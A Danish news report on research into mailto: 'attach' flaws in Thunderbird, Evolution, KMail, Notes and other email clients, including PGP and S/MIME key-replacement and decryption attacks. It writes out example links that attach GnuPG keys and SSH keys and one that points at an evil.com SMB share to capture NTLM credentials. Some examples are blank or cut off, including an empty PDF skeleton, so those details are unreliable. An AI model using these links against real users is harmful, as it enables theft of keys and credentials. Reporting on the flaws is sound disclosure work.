Forskere fra Ruhr-Universitetet i Bochum (Tyskland) () adfærd hos e-mailklienter ved behandling af «mailto:»-links med udvidede parametre. Fem ud af tyve gennemsede e-mailklienter viste sig at være sårbare over for angreb, der manipulerer ressourceindsættelse ved hjælp af parameteren «attach». Yderligere seks e-mailklienter var udsat for angreb ved at erstatte PGP- og S/MIME-nøgler, mens tre klienter var sårbare over for angreb ved at udtrække indhold fra krypterede meddelelser.
Links «» bruges til at automatisere åbningen af e-mailklienten med henblik på at skrive en besked til den modtager angivet i linket. Udover adressen kan der i linket angives yderligere parametre som emnet for beskeden og en skabelon for standardindholdet. Det foreslåede angreb manipulerer parameteren «attach», der muliggør vedhæftning af en fil til den oprettede meddelelse.
E-mailklienter som Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) og Pegasus Mail viste sig at være sårbare over for et simpelt angreb, der automatisk kan vedhæfte enhver lokal fil angivet via et link af typen «mailto:?attach=filsti». Filen vedhæftes uden at vise en advarsel, så brugeren uden særlig opmærksomhed måske ikke bemærker, at meddelelsen sendes med vedhæftningen.
For eksempel, ved hjælp af et link af typen «mailto:?to=user@example.com&subject=Title&body=Text&attach=~/.gnupg/secring.gpg» er det muligt at indsætte private nøgler fra GnuPG i meddelelsen. Det er også muligt at sende indholdet af kryptovaluta tegnebøger (~/.bitcoin/wallet.dat), SSH-nøgler (~/.ssh/id_rsa) og hvilke som helst tilgængelige filer for brugeren. Desuden tillader Thunderbird vedhæftning af grupper af filer ved hjælp af mønstre som «attach=/tmp/*.txt».
Ud over lokale filer behandler nogle e-mailklienter også links til netværkslagre og stier på en IMAP-server. Især tillader IBM Notes overførsel af filer fra et netværkskatalog ved behandling af links som «attach=\\evil.com\dummyfile», og også at fange NTLM-godkendelsesparametre ved at sende et link til en SMB-server kontrolleret af angriberen (anmodningen vil blive sendt med de nuværende brugerautentifikationsparametre).
Thunderbird håndterer succesfuldt forespørgsler af typen «attach=imap://fetch>UID>/INBOX>1/», som gør det muligt at vedhæfte indhold fra mapper på IMAP-serveren. E-mails, der hentes fra IMAP og er krypteret med OpenPGP og S/MIME, bliver automatisk dekrypteret af mailklienten før afsendelse. Udviklerne af Thunderbird var om problemet i februar og i udgivelsen er problemet allerede løst (versionerne af Thunderbird 52, 60 og 68 forbliver sårbare).
Ældre versioner af Thunderbird viste sig også at være sårbare overfor to andre angrebsmetoder mod PGP og S/MIME, som blev foreslået af forskerne. Specifikt kunne en angrebstype, kaldet nøgleerstatning, anvendes på Thunderbird samt OutLook, PostBox, eM Client, MailMate og R2Mail2, da mailklienten automatisk importerer og installerer nye certifikater, der sendes i S/MIME-beskeder, hvilket muliggør, at angriberen kan erstatte brugerens allerede gemte offentlige nøgler.
Den anden angrebsmetode, som Thunderbird, PostBox og MailMate er sårbare overfor, manipulerer med funktionaliteterne i mekanismen til autosave af beskeder og gør det muligt at anvende mailto-parameterne til at initierer dekryptering af krypterede beskeder eller tilføje en digital signatur til vilkårlige beskeder, med efterfølgende overførsel af resultatet til angriberens IMAP-server. Chifferteksten sendes i dette angreb gennem parameteren «body», og for at initiere tilgang til angriberens IMAP-server anvendes tagget «meta refresh». For eksempel: ‘’
Specielt udformede PDF-dokumenter kan anvendes til automatisk at håndtere links «mailto:» uden brugerintervention — OpenAction-handlingen i PDF gør det muligt automatisk at starte mailto-håndteringen, når dokumentet åbnes:
%PDF-1.5
1 0 obj
<>
endobj
2 0 obj
<>
endobj
Kilde: opennet.ru
